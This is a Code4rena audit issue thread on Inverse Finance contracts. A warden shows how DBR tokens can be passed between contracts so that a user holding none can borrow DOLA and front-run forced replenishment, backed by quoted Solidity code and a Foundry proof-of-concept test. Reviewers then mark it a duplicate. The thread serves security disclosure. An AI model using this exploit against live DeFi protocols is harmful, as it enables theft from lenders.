code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2022-10-inverse/blob/main/src/DBR.sol#L170-L178 https://github.com/code-423n4/2022-10-inverse/blob/main/src/DBR.sol#L188-L202 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L408-L410 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L389-L401 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L559-L572 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L531-L539 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L472-L474 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L460-L466

Vulnerability details

Impact

Although my other finding named "DOLA can be borrowed without owning any DBR" indicates that users who do not own any DBR can still borrow DOLA, the design still appears to only allow the DBR owners to borrow DOLA; this is confirmed by https://github.com/code-423n4/2022-10-inverse#fixed-rates-market-protocol-overview, which states that "one DBR token gives the right to borrow one DOLA for one year", and https://github.com/code-423n4/2022-10-inverse#contracts, which states that "a DOLA Fed mints DOLA to a market, which is then available to borrow for users holding DBR, using the Borrow function".

However, assuming that owning DBR is required before DOLA can be borrowed, the DolaBorrowingRights contract's transfer and transferFrom functions can be utilized to share DBR between users for bypassing such requirement. For example, Alice and Bob both use contracts to interact with the Market contract. Alice's contract owns some DBR while Bob's does not. Alice's contract can send one transaction that deposits her collateral and borrows DOLA first and then transfers DBR to Bob's contract; after owning some DBR at this moment, Bob's contract can send one transaction that deposits his collateral and borrows DOLA first and then transfers the received DBR back to Alice's contract. After a week, while Alice's contract has no DBR deficit, a replenisher notices that Bob's contract has a DBR deficit and wants to force it to replenish DBR. Yet, Bob notices the replenisher's forceReplenish transaction in the mempool and front-runs it by having his contract to send one transaction that includes the repay and withdraw function calls with a higher gas fee. After the front-running, the replenisher's forceReplenish transaction reverts, and the debt of Bob's contract is not increased. As a result, Bob's contract is able to withdraw all of his deposited collateral while being able to utilize the borrowed DOLA for 1 week without holding any DBR at the beginning. Through sharing DBR, a user who does not really own any DBR can borrow DOLA, which is unfair to the users who actually own DBR.

https://github.com/code-423n4/2022-10-inverse/blob/main/src/DBR.sol#L170-L178

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        require(balanceOf(msg.sender) >= amount, "Insufficient balance");
        balances[msg.sender] -= amount;
        unchecked {
            balances[to] += amount;
        }
        emit Transfer(msg.sender, to, amount);
        return true;
    }

https://github.com/code-423n4/2022-10-inverse/blob/main/src/DBR.sol#L188-L202

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        require(balanceOf(from) >= amount, "Insufficient balance");
        balances[from] -= amount;
        unchecked {
            balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        return true;
    }

https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L408-L410

    function borrow(uint amount) public {
        borrowInternal(msg.sender, msg.sender, amount);
    }

https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L389-L401

    function borrowInternal(address borrower, address to, uint amount) internal {
        require(!borrowPaused, "Borrowing is paused");
        if(borrowController != IBorrowController(address(0))) {
            require(borrowController.borrowAllowed(msg.sender, borrower, amount), "Denied by borrow controller");
        }
        uint credit = getCreditLimitInternal(borrower);
        debts[borrower] += amount;
        require(credit >= debts[borrower], "Exceeded credit limit");
        totalDebt += amount;
        dbr.onBorrow(borrower, amount);
        dola.transfer(to, amount);
        emit Borrow(borrower, amount);
    }

https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L559-L572

    function forceReplenish(address user, uint amount) public {
        uint deficit = dbr.deficitOf(user);
        require(deficit > 0, "No DBR deficit");
        require(deficit >= amount, "Amount > deficit");
        uint replenishmentCost = amount * dbr.replenishmentPriceBps() / 10000;
        uint replenisherReward = replenishmentCost * replenishmentIncentiveBps / 10000;
        debts[user] += replenishmentCost;
        uint collateralValue = getCollateralValueInternal(user);
        require(collateralValue >= debts[user], "Exceeded collateral value");
        totalDebt += replenishmentCost;
        dbr.onForceReplenish(user, amount);
        dola.transfer(msg.sender, replenisherReward);
        emit ForceReplenish(user, msg.sender, amount, replenishmentCost, replenisherReward);
    }

https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L531-L539

    function repay(address user, uint amount) public {
        uint debt = debts[user];
        require(debt >= amount, "Insufficient debt");
        debts[user] -= amount;
        totalDebt -= amount;
        dbr.onRepay(user, amount);
        dola.transferFrom(msg.sender, address(this), amount);
        emit Repay(user, msg.sender, amount);
    }

https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L472-L474

    function withdraw(uint amount) public {
        withdrawInternal(msg.sender, msg.sender, amount);
    }

https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L460-L466

    function withdrawInternal(address from, address to, uint amount) internal {
        uint limit = getWithdrawalLimitInternal(from);
        require(limit >= amount, "Insufficient withdrawal limit");
        IEscrow escrow = getEscrow(from);
        escrow.pay(to, amount);
        emit Withdraw(from, to, amount);
    }

Proof of Concept

Please add the following test in src\test\Market.t.sol. This test will pass to demonstrate the described scenario.

    function testBorrowDOLAByTransferringDBR() public {
        // two users use contracts to interact with the Market contract
        address userContract1 = address(1);
        address userContract2 = address(2);

        // userContract1 has wethTestAmount WETH and wethTestAmount DBR
        gibWeth(userContract1, wethTestAmount);
        gibDBR(userContract1, wethTestAmount);

        // userContract2 has wethTestAmount WETH and 0 DBR
        gibWeth(userContract2, wethTestAmount);

        vm.startPrank(userContract1);

        // Assuming that owning DBR is required before DOLA can be borrowed, since userContract1 owns wethTestAmount DBR at this moment,
        //   it sends one transaction that executes the deposit and borrow function calls for borrowing wethTestAmount DOLA first
        //   and then executes a transfer function call for sending wethTestAmount DBR to userContract2 so userContract2 can use it for borrowing DOLA later.
        deposit(wethTestAmount);
        market.borrow(wethTestAmount);
        dbr.transfer(userContract2, wethTestAmount);

        vm.stopPrank();

        vm.warp(block.timestamp + 1 minutes);

        vm.startPrank(userContract2);

        // After userContract1 sends wethTestAmount DBR to userContract2, userContract2 owns wethTestAmount DBR at this moment.
        // Now, userContract2 sends one transaction that executes the deposit and borrow function calls for borrowing wethTestAmount DOLA first
        //   and then executes a transfer function call for sending wethTestAmount DBR back to userContract1.
        deposit(wethTestAmount);
        market.borrow(wethTestAmount);
        dbr.transfer(userContract1, wethTestAmount);

        vm.stopPrank();

        // After 1 week, userContract1 has no DBR deficit but userContract2 does.
        // After noticing that userContract2 has a DBR deficit, replenisher decides to force userContract2 to replenish DBR.
        // However, after noticing replenisher's forceReplenish transaction in the mempool,
        //   userContract2 would front-run it by sending a transaction that includes the repay and withdraw function calls with a higher gas fee.
        vm.warp(block.timestamp + 1 weeks);

        assertEq(dbr.deficitOf(userContract1), 0);

        uint256 dbrDeficit2 = dbr.deficitOf(userContract2);
        assertGt(dbrDeficit2, 0);

        vm.startPrank(userContract2);

        // to perform the front-running, userContract2 sends one transaction that includes the repay and withdraw function calls for getting back all of its deposited WETH 
        market.repay(userContract2, wethTestAmount);
        market.withdraw(wethTestAmount);

        vm.stopPrank();

        // after the front-running, replenisher's forceReplenish transaction reverts even though userContract2 had a DBR deficit when the forceReplenish transaction was sent
        vm.prank(replenisher);
        vm.expectRevert("Exceeded collateral value");
        market.forceReplenish(userContract2, dbrDeficit2);

        // as a result, userContract2 is able to withdraw all of its deposited WETH while being able to utilize the borrowed DOLA for 1 week without holding any DBR at the beginning
        assertEq(WETH.balanceOf(userContract2), wethTestAmount);
        assertEq(DOLA.balanceOf(userContract2), 0);
        assertEq(dbr.balanceOf(userContract2), 0);
    }

Tools Used

VSCode

Recommended Mitigation Steps

One way to mitigate this risk is to disallow the DolaBorrowingRights contract's transfer and transferFrom functions from being called when lastUpdated[user] == block.timestamp is true so such functions cannot be called after the Market contract's borrowInternal function is called in the same transaction.

d3e4 commented 1 year ago

I think this is a duplicate of the warden's other finding #578 which he refers to. What distinguishes these is only the conclusion of what the issue actually is. In #578 it is claimed that being able to borrow without DBR is the issue. Here it is claimed that the proposed mitigation of #578 can by bypassed essentially by "pretending" to have DBR when one really does not (i.e. by borrowing DBR). What these two issues have in common, however, is the withdrawal just before the front-running. The front-running itself is completely irrelevant, but the withdrawal obviously causes some problem. The real issue is that the attacker can end up with zero debt and zero collateral, but still have a DBR deficit.

The core problem seems to be that the collateral only covers the DOLA debt, but not the DBR deficit. Forced replenishment is meant to correct DBR deficit by forcing the borrower to loan more DOLA which is used to pay for his deficit. Liquidation is meant to correct having too much debt by turning collateral into DOLA to repay some of the debt. This means that forced replenishment is, as a deterrent, dependent on the possibility of consequential liquidation. For liquidation to be possible there must be some collateral left. It is currently not possible to withdraw collateral such that the DOLA debt isn't covered by it. But there is no check on the impact on DBR deficit (which also is a kind of debt). This is precisely what is missing; the user should not be able to withdraw more than that both his DOLA debt and his DBR deficit can be covered by his collateral through forced replenishment and liquidation. This is reported by (at least?) #311 and #366.

For a related discussion on different debt levels and their impact on liquidation, see my comment on #395.

c4-sponsor commented 1 year ago

08xmt marked the issue as sponsor disputed

08xmt commented 1 year ago

See https://github.com/code-423n4/2022-10-inverse-findings/issues/578

0xean commented 1 year ago

After reviewing @08xmt comments I am going to mark this as a duplicate of #401 which I do believe is the underlying issue.

the user should not be able to withdraw more than that both his DOLA debt and his DBR deficit can be covered by his collateral through forced replenishment and liquidation.

c4-judge commented 1 year ago

0xean marked the issue as duplicate of #401

Simon-Busch commented 1 year ago

Issue marked as satisfactory as requested by 0xean